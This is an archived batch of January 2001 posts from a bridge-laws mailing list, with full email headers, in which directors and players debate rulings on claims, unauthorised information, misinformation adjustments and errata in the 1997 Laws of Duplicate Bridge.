through the checklist : 1) Was there any infraction ? Misinformation perhaps. Acting on UI certainly. 2) Did the infraction of misinformation (assuming it is established) cause harm to the NOS ? Perhaps (don't forget to check whether N/S can stop in 3H after such a start) 3) Did N/S do something absurd that cuts the link between misinformation and damage ? No. 4) What would be the best outcome (among reasonable ones) for North if he had received correct information ? I'd say, if N/S play takeout doubles, it could be 3D doubled, let in by South, for up to -4. Adjust to N/S +800. Else it is 3H -1. Adjust to N/S -100. 5) Assuming there is no misinformation, did the infraction of using UI damage N/S ? Yes. As you duly mentioned, not using it would have led to 4H undoubled -6. 6) Did N/S do something absurd after the 4D bid ? No. 7) What would be the best outcome for N/S after an ethical 4H bid by West ? As said before, -6. Adjust to N/S +600. 8) Conclusion. E/W must get the worst case. If you judge there was indeed MI, and they could have neg-doubled 3D, adjust to +800. If you judge there was no MI, or N/S would be unable to extract 800, adjust to +600. 8) Other comment : how came East did bid only 3H over a H/C 2-suiter ???? Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 00:48:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JDm2D27129 for bridge-laws-outgoing; Sat, 20 Jan 2001 00:48:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-3.cais.net (stmpy-3.cais.net [205.252.14.73]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JDltt27090 for ; Sat, 20 Jan 2001 00:47:56 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-3.cais.net (8.11.1/8.11.1) with ESMTP id f0JDlqv31988 for ; Fri, 19 Jan 2001 08:47:52 -0500 (EST) Message-Id: <4.3.2.7.1.20010119084150.00b1dc10@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 19 Jan 2001 08:49:29 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: TR: [BLML] Law 71: Concession cancelled In-Reply-To: References: <01f701c08114$6f545260$56991e18@san.rr.com> <01011519525801.00176@psa836> <00cf01c08040$828fd360$56991e18@san.rr.com> <01f701c08114$6f545260$56991e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:45 AM 1/18/01, David wrote: > It is not a contradiction. You are assuming the fallacy of [can't >remember what it is called, someone remind me, that says you cannot >assume the opposite of a logical statement applies]. Either "the fallacy of the converse" ("if P then Q" does not imply "if Q then P"); or "the fallacy of the inverse" ("if P then Q" does not imply "if not P then not Q"). "The law of contrapositives" ("if P then Q" implies "if not Q then not P") tells us that these two "fallacies" are really the same thing. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 01:12:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JEBWC28884 for bridge-laws-outgoing; Sat, 20 Jan 2001 01:11:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (oe40.law8.hotmail.com [216.33.240.97]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JEBQt28880 for ; Sat, 20 Jan 2001 01:11:26 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 19 Jan 2001 06:11:18 -0800 X-Originating-IP: [63.22.204.79] From: "Roger Pewick" To: "blml" References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Fri, 19 Jan 2001 08:14:20 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Message-ID: X-OriginalArrivalTime: 19 Jan 2001 14:11:18.0321 (UTC) FILETIME=[B11A8210:01C08221] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I do see an interesting aspect of such cases. One would not expect a player who did not have in his mind to claim just yet to give a claim statement on his own initiiative. At what point should he not be permitted to supply one? L68C and L70D combine to suggest that by the time the director arrives it is too late to supply one but it feels right to allow it. roger pewick ----- Original Message ----- From: Marvin L. French To: Cc: Sent: Thursday, January 18, 2001 9:35 PM Subject: Re: [BLML] Claim? | | Adam Beneschan wrote: | > | > Nelson Ford wrote: | > | > > > Unfortunately, this apsect of the law doesn't seem to be widely known. | > > > In this case, I'd be trying to penalize someone whose only offense is | > > > not scrutinizing the Lawbook to the same degree that we on BLML do. | > > | > > The club where I direct has a substantial number of Life Masters, | > > very few (if any) of whom have more than a surface knowledge | > > of any of the Laws (which is what prompted me to create the | > > list at http://www.hsbridge.com/broken-rules.htm). | > > | > > If we do not enforce a Law because it is not widely known, there | > > is little in the Law book which I *could* enforce. | > | > Yeah, I knew someone respond with something like this . . . | > | > Please keep in mind that my post was written not from a Director's | > point of view, but rather from a player's. If it's agreed that this | > interpretation of the Law is the correct one, then if the Director is | > called, I think the Director has little choice but to enforce the Law. | > However, the Director isn't going to enforce the laws if players don't | > call him in the first place. I'm certainly going to call the Director | > about an infraction, even if the opponents might not be aware they're | > committing an infraction, if: (1) they *should* know, or can | > reasonably be expected to know, that what they're doing is illegal, or | > (2) the infraction may have damaged my side's interests in any way. | > | > If neither (1) nor (2) applies, however, then why would I bother to | > call the Director, except to try to gain an unearned advantage over | > someone who doesn't know about some obscure Law? No, thanks, I don't | > want to play that way. | | You wouldn't call the Director, you would listen to the "claimant's" statement | of clarification, and call the Director only if the "claim" is disputed. | | But let's assume you just want to continue play. What happens? Let's look: | | A statement as to the number of tricks that will be one or lost is a claim. No | infraction yet. | | "After any concession or claim, play ceases." If play continues, all four | players are committing an irregularity. | | However, if no one calls attention to the irregularity, as I read Law 9, then | the Director doesn't need to get involved. There is no penalty for failing to | call attention to an irregularity unless attention has been called to it | [(L9B1(a)]. | | Those who, like Adam, are willing to continue play after a statement that is a | claim but doesn't sound like one, without commenting on the illegality of | playing on, are probably okay. If doing so leads to a problem later in the | deal, the Director will not be happy. | | Marv | San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 01:18:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JEId528896 for bridge-laws-outgoing; Sat, 20 Jan 2001 01:18:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cobalt1-fe.global.net.uk (cobalt1-fe.global.net.uk [195.147.250.161]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JEIVt28892 for ; Sat, 20 Jan 2001 01:18:33 +1100 (EST) Received: from pefs02a08.client.global.net.uk ([195.147.82.240] helo=pacific) by cobalt1-fe.global.net.uk with smtp (Exim 2.12 #1) id 14JcJt-0002sM-00 for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 14:15:14 +0000 Message-ID: <004101c08222$a315fcc0$c47b93c3@pacific> From: "Grattan Endicott" To: References: <67378DEA146DD21194C20000F87B08BA01B8B785@fdwag002s.fd.agro.nl> Subject: Re: [BLML] 1997 changes to laws, was Law 71: Concession cancelled Date: Fri, 19 Jan 2001 14:17:11 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott ----- Original Message ----- From: Kooijman, A. To: 'Eitan Levy' ; Sent: 19 January 2001 08:03 Subject: RE: [BLML] 1997 changes to laws, was Law 71: Concession cancelled > > >> > > >>2. LAW 17D > > >>The asterix was moved from _.........normally*_ to > > _......any significant > > >>way from his cancelled call *.__ > > >> > > > > > >Interesting. I have three copies of the ACBL version of the 1997 laws, all ordered at the same time from the same vendor (either the ACBL or Baron Barclay, I don't remember which). *One* of them came with an errata page. *None* of them contain either of the first two changes mentioned, but they *all* contain the third, the change to Law 17D - in the book, not on the errata page. Does the ACBL, at least, have an editing problem? > > > > > > > > > > > Even more interesting. MY copy of the ACBL laws, ordered directly from the ACBL and I suppose the first printing, contains none of these changes. Law 17D appears in its old form, with the asterix in the incorrect place. > > > Good research gentlemen. > The first edition of the ACBL '97 lawbook was printed before the WBF officially approved the '97 laws. And going through the ACBL version (probably the last WBF concept) we found some minor (last?) mistakes, among which the asterix. The second edition appeared only some months thereafter and then the asterix was moved. It was after that when we found out that this 71C sentence shouldn't be there. > > The proof could be to ask the French what their translation says. They waited a year, the asterix and the 71C sentence should be changed.But if not, that does not change our decisions. > > > ton +=+ I am dubious about looking at a foreign translation as evidence of anything about the authorised version. The laws set in other languages are notoriously unreliable. Whether they may get an Asterix wrong I can not say (was he a Vandal?), but often enough interpretation of the English is idiosyncratic and I would not trust them altogether with an asterisk. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 01:21:55 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JELX328921 for bridge-laws-outgoing; Sat, 20 Jan 2001 01:21:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JELMt28907 for ; Sat, 20 Jan 2001 01:21:25 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14JcPl-000H5a-0Y for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 14:21:18 +0000 Message-ID: Date: Fri, 19 Jan 2001 00:37:12 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] 1997 changes to laws, was Law 71: Concession cancelled References: <006b01c0809d$a7528dc0$5713f7a5@oemcomputer> <67378DEA146DD21194C20000F87B08BA01B8B77D@fdwag002s.fd.agro.nl> <3.0.5.32.20010118145857.00875e90@mail.netvision.net.il> In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert writes >Interesting. I have three copies of the ACBL version of the 1997 >laws, all ordered at the same time from the same vendor (either the >ACBL or Baron Barclay, I don't remember which). *One* of them came >with an errata page. *None* of them contain either of the first two >changes mentioned, but they *all* contain the third, the change to >Law 17D - in the book, not on the errata page. Does the ACBL, at >least, have an editing problem? I think it is a timing thing. When the new Laws were being accepted around the world the mistake in L17D was discovered, in fact before the English version was even published. The other amendments came much later. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 01:22:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JELf228927 for bridge-laws-outgoing; Sat, 20 Jan 2001 01:21:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JELMt28908 for ; Sat, 20 Jan 2001 01:21:24 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14JcPl-000H5Z-0Y for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 14:21:18 +0000 Message-ID: Date: Fri, 19 Jan 2001 00:34:08 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Let's get back to the easy stuff References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Todd Zimnoch writes >>From: David Stevenson >>Todd Zimnoch writes >> >>From: David Stevenson >> >> This is based on your knowledge that you opened 1S OOT, and then >> >>withdrew that 1S bid. **But L16C2 says that the 1S is unauthorised to >> >>your _side_, so the 1S bid is unauthorised information to you.** >> >> >> >> If you rebid the spades, and do not mention the hearts, do we adjust >> >>the score because bidding the hearts is an LA, as mentioned in L16C? >> > >> > Law 29B -- call out of rotation is cancelled, not withdrawn. You do >> >not get to substitute your bid; the bid reverts back to the correct >>person >> >in order. L16C requires that the call/play has been withdrawn and >> >substituted. L16C does not apply, but rather L16A. The cancelled 1S bid >>is >> >UI to your partner, but not to yourself. >> >> An interesting idea, but I believe that a cancelled call is withdrawn. >>I am sure that when a call is cancelled we always use L16C. Otherwise >>you would find it impossible to work out what the NOs would do about it. > > Extraneous information from opponents is never UI unless you caused it, >right? Sure, but something has to say so. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 01:22:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JELfk28928 for bridge-laws-outgoing; Sat, 20 Jan 2001 01:21:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JELMt28909 for ; Sat, 20 Jan 2001 01:21:24 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14JcPl-000H5c-0Y for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 14:21:19 +0000 Message-ID: Date: Fri, 19 Jan 2001 00:51:15 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <00a201c0817b$f915f460$1614f7a5@oemcomputer> In-Reply-To: <00a201c0817b$f915f460$1614f7a5@oemcomputer> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Craig Senior writes >In a serious game, you should have kept silent. In a friendly game among >close acquaintances I see no problem with overlooking this sort of >infraction...but we aren't talking about kitchen table bridge here. In any >sort of a tournament you probably should refrain from such comments as they >would seem to breach the proprieties if not other laws. I think that as >director you might do well to set a better example for other players. Fine: they breach the Proprieties: let the Proprieties deal with them. But what is suggested here is that some of the many casual comments that are made at the table are claims, even when everyone knows there was no intention of claiming. That is what really worries me: any interpretation whose main effect is to give ammunition to BLs and leave other people unaffected seems horrendous to me. We all know what a claim is. A player puts his hand down and says "They are all mine" or "Give you a top trump" or something. But we are being asked to call something a claim when a player demonstrably did not intend to claim. How can that be right? Of course there are lots of rules players do not know and we have to enforce. If a player bids out of turn we drag out the law-book, and who would wish otherwise? But when we know a player did not intend to claim then to say it is a claim seems unjust. What happens if we are not sure? Perhaps he did? I have no problem with a hard line on doubtful claims. But ones that the players know are not intended as claims should not be treated as claims. Bridge should be an enjoyable game: encouraging BLs will not help that end. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 01:22:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JELq928942 for bridge-laws-outgoing; Sat, 20 Jan 2001 01:21:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JELXt28922 for ; Sat, 20 Jan 2001 01:21:34 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14JcPm-000H5f-0Y for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 14:21:24 +0000 Message-ID: Date: Fri, 19 Jan 2001 00:57:52 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Norman Scorbie writes >> >>"one" >> >> > >> >used for "I," as in "One enjoyed one's trip to the continent last >> >> > >> >year," but I suppose the British Davids find it perfectly >> >>acceptable. >> >> > >> >> >> > >> Certainly not. That's French. >> >>AG : it is not. French uses 'on' (= one) only to replace 'nous' (= we), and >>it's felt as casual. >A minor point, to be sure, but it wasn't me that wrote that, it was an >unsnipped piece from a previous post to which I was replying. I don't know >who it was, but the context and tone suggest David Stevenson... Sure. It is what I was taught in school. I am very surprised to hear that the teaching was so wrong on such an important point. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 01:22:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JEM2s28945 for bridge-laws-outgoing; Sat, 20 Jan 2001 01:22:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JELet28929 for ; Sat, 20 Jan 2001 01:21:41 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14JcPm-000H5d-0Y for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 14:21:24 +0000 Message-ID: Date: Fri, 19 Jan 2001 00:54:44 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <3.0.6.32.20010118145838.007e8cf0@ux1.cts.eiu.edu> <001501c08196$51dbf120$e311f7a5@james> In-Reply-To: <001501c08196$51dbf120$e311f7a5@james> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Craig Senior writes >Actually you have breached the proprieties under 74B2 (and >possibly 74A3 and 74B4) as well as, clearly, 74C3 and 74C4. And >yes, you hve made a claim; the Law is clear. > >While it would be absurd to apply it in a friendly kitchen table >game, where such kidding around is fine and part of the fun, we >are talking about a tournament here. You and your >opponent/friends are not the only people in the room. If a club >wants to have a "fun night" where rules are loosened that's >fine. But it won't fully be duplicate contract bridge. In a >serious game, it is absurd to kid around. If that leads to you >losing a ruling or some points, it is your own fault. Oh dear. That's me dealt with! Look, bridge is fun, and I can assure you I kid around in bridge at suitable times with anyone. Not just at the lower levels. So long as I avoid breach of L74A1 and L74A2 then I do not worry too much. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 01:22:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JEMAa28949 for bridge-laws-outgoing; Sat, 20 Jan 2001 01:22:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JELft28931 for ; Sat, 20 Jan 2001 01:21:42 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14JcQ5-000H5a-0Y for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 14:21:38 +0000 Message-ID: Date: Fri, 19 Jan 2001 00:59:45 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Three-way matches with two survivors References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Wildavsky writes >Edgar Kaplan wrote many articles over the years decrying the evils of >three-way matches with two survivors. The problem is a moral one, >sometimes called "sportsmanlike dumping" - I won't describe it unless >someone insists. Suffice it to say that (as usual) I agree with Edgar. > >Unfortunately, for certain numbers of teams (say 12) three-way >matches with two survivors offer enticing practical advantages, >especially if the tournament organizers are unwilling to award first >round byes. > >I can see two ways around the problem. One we've adopted in New York >is, for single session matches, dispensing with the half-time >comparison. This may not prove popular with the players, but at least >it will tend to get the session with over sooner! > >This doesn't work for matches of more than a single session. I've >thought of a possible solution, though. We can have the top scoring >team (based on the usual criteria, two wins or highest IMP quotient) >drop out at half-time! An alternative might be to have a team drop >out at half-time only if it's ahead in both matches. > >The main benefit is that we avoid situations involving potential >sportsmanlike dumping. One drawback is that we'll collect less in >card fees. > >Has anyone tried this? Can anyone suggest other potential benefits >and drawbacks? It just seems completely unfair. You play matches of a particular length. I would have thought the dumping problem was tiny anyway in threesomes. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 01:22:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JEM6l28946 for bridge-laws-outgoing; Sat, 20 Jan 2001 01:22:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JELgt28932 for ; Sat, 20 Jan 2001 01:21:43 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14JcQ5-000H5Z-0Y for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 14:21:38 +0000 Message-ID: Date: Fri, 19 Jan 2001 01:01:07 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Players making rulings by themselves References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Petr Jelinek writes >Last night I came to a delayed table to ask them to hurry up. Players noted >me and as I was leaving I heard from the table player saying: "I will forbid >a spade lead." There had been a lead OOT. >1) Am I to start giving ruling? (Seems funny - the player would forbid a >spade lead turning me into a clown.) I just cancelled any penalty.. Would he? How do you know he was given all his options? You should check up hte ruling was correct: if so you allow them to carry on. >2) Am I to apply PP? (they ignored TD even when TD was at the table a moment >before) A warning will do nicely. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 01:27:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JEQnn28993 for bridge-laws-outgoing; Sat, 20 Jan 2001 01:26:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from avocet.prod.itd.earthlink.net (avocet.prod.itd.earthlink.net [207.217.121.50]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JEQht28989 for ; Sat, 20 Jan 2001 01:26:44 +1100 (EST) Received: from utcpoqli (pool0020.cvx2-bradley.dialup.earthlink.net [209.178.134.20]) by avocet.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id GAA21510 for ; Fri, 19 Jan 2001 06:26:38 -0800 (PST) Message-ID: <004201c08224$168dd000$1486b2d1@utcpoqli> From: "Tom Wood" To: "BLML" Subject: Re: [BLML] Claim? Date: Fri, 19 Jan 2001 06:28:24 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David (Burn), Thank you for your clear-minded recap of this "Claim?" thread. I regret to inform you, however, that your reasoned, analytic approach to such issues is at great variance with contemporary local (Southern California) attitudes toward such discussions. Specifically: 1. Clarity of thought and expression is viewed hereabout with great suspicion and is instantly and roundly condemned as "unPC." >[DB] However, by no stretch of syntax or imagination can the >parenthetical clause at the end of the second sentence be held >to apply to the first sentence. A contestant who states that his >side is going to make 12tricks has claimed those tricks, whether >he intended to do so or not. > 2. Displays of common sense are much rarer here than are displays of common nonsense. >[DB] Unfortunately, you do not have the option of using "common >sense" when you disagree with the law book, and following the >laws otherwise. In any case, to say that "we will win twelve tricks" >is not a claim is not "common sense" but nonsense. > 3. Words are no longer accepted here as saying what they used to very clearly say. >[DB] I find this entire debate quite mind-boggling. With which of >these words are people having difficulty? > "Any statement to the effect that a contestant will win > a specific number of tricks is a claim of those tricks." Word 16 of your Laws quote has become especially problematic here and has become the subject of endless nationwide debate. Further, anti-sesquipedalian sentiment has grown so strong here that even inch-long words (e.g., Law words 2, 5, 8, 12, and 13) are widely eschewed as anti-democratic and products of an ill mind. :) Cheers from across The Pond, Tom Wood, Los Angeles area, where "cat's" is now the plural of "cat" (ex-Osterley, ex-Isleworth, ex-W-o-T, ex-Guildford Yank) PS -- Thanks also to Craig, Grattan, et al. for their contributions to clear thinking on claims. Special thanks to fellow-SoCAn Marv for his inimitable "this is a test" postings . . . :) >[MF] There is no penalty for failing to call attention to an >irregularity unless attention has been called to it -----Original Message----- From: David Burn To: bridge-laws@rgb.anu.edu.au Date: Friday, January 19, 2001 3:08 AM Subject: Re: [BLML] Claim? >Fearghal wrote: >> Literally he has, but intentionally he has not. >> I vote No - he has not claimed. >[DB] A player fails to follow suit, because he has a spade in with >his clubs. Has he revoked? According to the argument above, >he has not, because he did not mean to. >> I wish the Law book could be taken literally but that is not the >> case yet so I will use commonsense. >[DB] Unfortunately, you do not have the option of using "common >sense" when you disagree with the law book, and following the >laws otherwise. In any case, to say that "we will win twelve tricks" >is not a claim is not "common sense" but nonsense. > > >Laval then wrote: >> Fully agree and vote "no" at the club and low tournement levels. >> Lets play bridge. 